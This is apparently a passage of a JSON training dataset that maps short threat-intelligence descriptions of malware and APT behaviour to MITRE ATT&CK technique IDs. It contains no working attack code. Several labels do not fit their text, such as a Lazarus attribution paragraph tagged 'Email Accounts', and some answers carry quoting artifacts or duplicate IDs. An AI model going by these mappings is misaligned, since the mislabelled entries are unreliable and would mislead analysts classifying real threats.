                "role": "assistant",
                "content": "T1574.002 - Hijack Execution Flow: DLL Side-Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can use fileless UAC bypass and create an elevated COM object to escalate privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has deployed a bootkit along with  to ensure its persistence on the victim. The bootkit shares code with some variants of ."
            },
            {
                "role": "assistant",
                "content": "T1542.003 - Bootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It was quite common to see scheduled tasks used to create persistence for the ransomware executable, PsExec, and occasionally some defense evasion batch scripts."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Briba creates run key Registry entries pointing to malicious DLLs dropped to disk."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "This investigation allowed us to create strong ties between multiple campaigns that Lazarus has conducted, reinforcing our attribution. In this campaign the Lazarus group demonstrated its sophistication level and ability to circumvent the security measures they face during their attacks, such as network segmentation. We assess that Lazarus is a highly prolific group, conducting several campaigns using different strategies"
            },
            {
                "role": "assistant",
                "content": "T1585.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "tools contained an application to check performance of USB flash drives."
            },
            {
                "role": "assistant",
                "content": "T1120 - Peripheral Device Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Andariel has conducted spearphishing campaigns that included malicious Word or Excel attachments."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Wocao, threat actors collected a list of installed software on the infected system."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "persists via a Launch Agent."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Bandook has used PowerShell loaders as part of execution."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoisonIvy uses the Camellia cipher to encrypt communications."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WannaCry uses \"attrib +h\" to make some of its files hidden."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Year  Country  Industry  Malware  2014  Vietnam  Network Security  WINDSHIELD  2014  Germany  Manufacturing  WINDSHIELD  2015  Vietnam  Media  WINDSHIELD  2016  Philippines  Consumer products  KOMPROGO WINDSHIELD SOUNDBITE BEACON   2016  Vietnam  Banking  WINDSHIELD  2016  Philippines  Technology Infrastructure  WINDSHIELD  2016  China  Hospitality  WINDSHIELD  2016  Vietnam  Media  WINDSHIELD  2016  United States  Consumer Products  WINDSHIELD PHOREAL BEACON SOUNDBITE  Table 1: APT32 Private Sector Targeting Identified by FireEye APT32 Interest in Political Influence and Foreign Governments In addition to focused targeting of the private sector with ties to Vietnam, APT32 has also targeted foreign governments, as well as Vietnamese dissidents and journalists since at least 2013"
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has obtained and used tools such as Mimikatz, CrackMapExec, and PsExec."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Remexi uses BITSAdmin to communicate with the C2 server over HTTP."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "runs tasklist to obtain running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cisco Talos has observed another malware campaign that utilizes malicious Microsoft Office documents (maldocs) to spread the remote access trojan (RAT) ObliqueRAT. This campaign targets organizations in South Asia. ObliqueRAT has been linked to the Transparent Tribe APT group in the past. This campaign hides the ObliqueRAT payload in seemingly benign image files hosted on compromised websites"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link', 'T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Xbash can use regsvr32 for executing scripts."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On the first contact, it will send an identification of the victim based on the hard disk volume serial number. Talos didn't identify any kind of anti-sandboxing mechanisms on it, either"
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "cmd can be used to delete files from the file system."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal on Host: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Variants of  have used rundll32.exe in Registry values added to establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - Signed Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "is capable of starting a process using CreateProcess."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Pay2Key can identify the IP and MAC addresses of the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can upload and download to/from a victim machine."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Emotet has been observed creating new services to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1543.003 - Create or Modify System Process: Windows Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PUNCHBUGGY has been observed using a Registry Run key."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "RCSession can capture screenshots from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Heyoka Backdoor can check if it is running as a service on a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Winnti Group has downloaded an auxiliary program named ff.exe to infected machines."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses incoming HTTP requests with a username keyword and commands and handles them as instructions to perform actions."
            },
            {
                "role": "assistant",
                "content": "T1071 - Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TEMP.Veles has used compromised VPN accounts."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Inception used a file listing plugin to collect information about file and directories both on local and remote drives."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI has used \"net session\" on the victim's machine."
            },
            {
                "role": "assistant",
                "content": "T1049 - System Network Connections Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "obtains the victim username and encrypts the information to send over its C2 channel."
            },
            {
                "role": "assistant",
                "content": "T1033 - System Owner/User Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It was used to overwrite data by the BE2 actor, destroying data stored on hard drives by overwriting file contents. While its use may be intended to cover their tracks, it is heavy handed to use this type of tool to cover one’s tracks in a network. Most likely it is a tool of sabotage, much like the Destover wiper seen on Sony Pictures Entertainment’s networks. Instead of re-using the commercial EldoS RawDisk drivers in their malware, the BE2 developers wrote their own low-level disk and file destruction routines"
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Tropic Trooper has executed commands through Microsoft security vulnerabilities, including CVE-2017-11882, CVE-2018-0802, and CVE-2012-0158."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "POWERTON has the ability to dump password hashes."
            },
            {
                "role": "assistant",
                "content": "T1003.002 - OS Credential Dumping: Security Account Manager"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Chimera has used `fsutil fsinfo drives`, `systeminfo`, and `vssadmin list shadows` for system information including shadow volumes and drive information."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through the use of this platform, the operator was able to monitor and manage various compromised email accounts simultaneously"
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some versions of DEATHRANSOM have performed language ID and keyboard layout checks; if either of these matched Russian, Kazakh, Belarusian, Ukrainian or Tatar DEATHRANSOM would exit."
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lucifer can use WMI to log into remote machines for propagation."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In some cases, LockBit 2.0 will limit the data transfer sizes to fly under the radar of any monitoring services a client may have set up."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits', 'T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Skidmap has installed itself via crontab."
            },
            {
                "role": "assistant",
                "content": "T1053.003 - Scheduled Task/Job: Cron"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Execute a remote shell; - Silently start a program on a victim host; - Retrieve a list of processes from the victim host; - Terminate any process; - Upload/Download/Delete files to/from victim host; - Retrieve a list of available drives from the victim host; - Retrieve a filelist of a specified folder from the victim host"
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KEYMARBLE can upload files to the victim’s machine and can download additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During Operation Honeybee, the threat actors used batch files that modified registry keys."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "copies a file over to the remote system before execution."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Net commands used with the \"/domain\" flag can be used to gather information about and manipulate user accounts on the current domain."
            },
            {
                "role": "assistant",
                "content": "T1087.002 - Account Discovery: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Windshift has sent spearphishing emails with attachment to harvest credentials and deliver malware."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HiddenWasp uses a rootkit to hook and implement functions on the system."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dark Caracal took screenshots using their Windows malware."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "14, 2017, FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East"
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KOCTOPUS can use the `LoadResource` and `CreateProcessW` APIs for execution."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "TrickBot can obtain passwords stored in files from several applications such as Outlook, Filezilla, OpenSSH, OpenVPN and WinSCP. Additionally, it searches for the \".vnc.lnk\" affix to steal VNC credentials."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Zeus Panda checks for running processes on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaigns maintain persistence on machines by creating two daily scheduled task entries."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job', 'T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "If an initial connectivity check fails,  attempts to extract proxy details and credentials from Windows Protected Storage and from the IE Credentials Store. This allows the adversary to use the proxy credentials for subsequent requests if they enable outbound HTTP access."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Its functions include self-starting of the backdoor, collection of network configuration, keystroke records, and schedule other modules to execute by means of timers"
            },
            {
                "role": "assistant",
                "content": "T1016 - System Network Configuration Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Carberp has captured credentials when a user performs login through a SSL session."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "samples sometimes use common binary packers such as UPX and Aspack on top of a custom Delphi binary packer."
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "OverWatch observed the threat actor retrieve three files with VBS file extensions from remote infrastructure. These files were then decoded using cscript.exe into an EXE, DLL and DAT file respectively. Based on the telemetry available, OverWatch believes these files likely constituted a reverse shell, which was loaded into memory via DLL search-order hijacking.2"
            },
            {
                "role": "assistant",
                "content": "T1574.001 - Hijack Execution Flow: DLL Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kimsuky has used Win7Elevate to inject malicious code into explorer.exe."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "To avoid being run in sandboxes and emulators, all MegaCortex versions implement file encryption threading based on querying for the number of CPUs in the system. All MegaCortex versions can detect if the binary is running with administrator privileges"
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoetRAT was delivered with documents using DDE to execute malicious code."
            },
            {
                "role": "assistant",
                "content": "T1559.002 - Inter-Process Communication: Dynamic Data Exchange"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Lazarus Group has compressed exfiltrated data with RAR and used RomeoDelta malware to archive specified directories in .zip format, encrypt the .zip file, and upload it to C2."
            },
            {
                "role": "assistant",
                "content": "T1560 - Archive Collected Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Operation Wocao has gained initial access via vulnerable webservers."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "can lists information about files in a directory."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used Base64 to encode C2 traffic."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Milan has received files from C2 and stored them in log folders beginning with the character sequence `a9850d2f`."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "jRAT can capture clipboard data."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "VaporRage can use HTTP to download shellcode from compromised websites."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used Base64 to obfuscate commands and the payload."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Andariel has used \"tasklist\" to enumerate processes and find a specific string."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Get2 has the ability to inject DLLs into processes."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In recent years, malware delivery mechanisms have changed from fixed media (diskettes) to email (e.g. the infamous LoveLetter email worm) and direct network attacks (e.g. CodeRed). The most recent step in the evolution process is a move to delivering malware via the world wide web."
            },
            {
                "role": "assistant",
                "content": "T1102 - Web Service"
            }
        ]
    },
    {
        "messages": [
            {
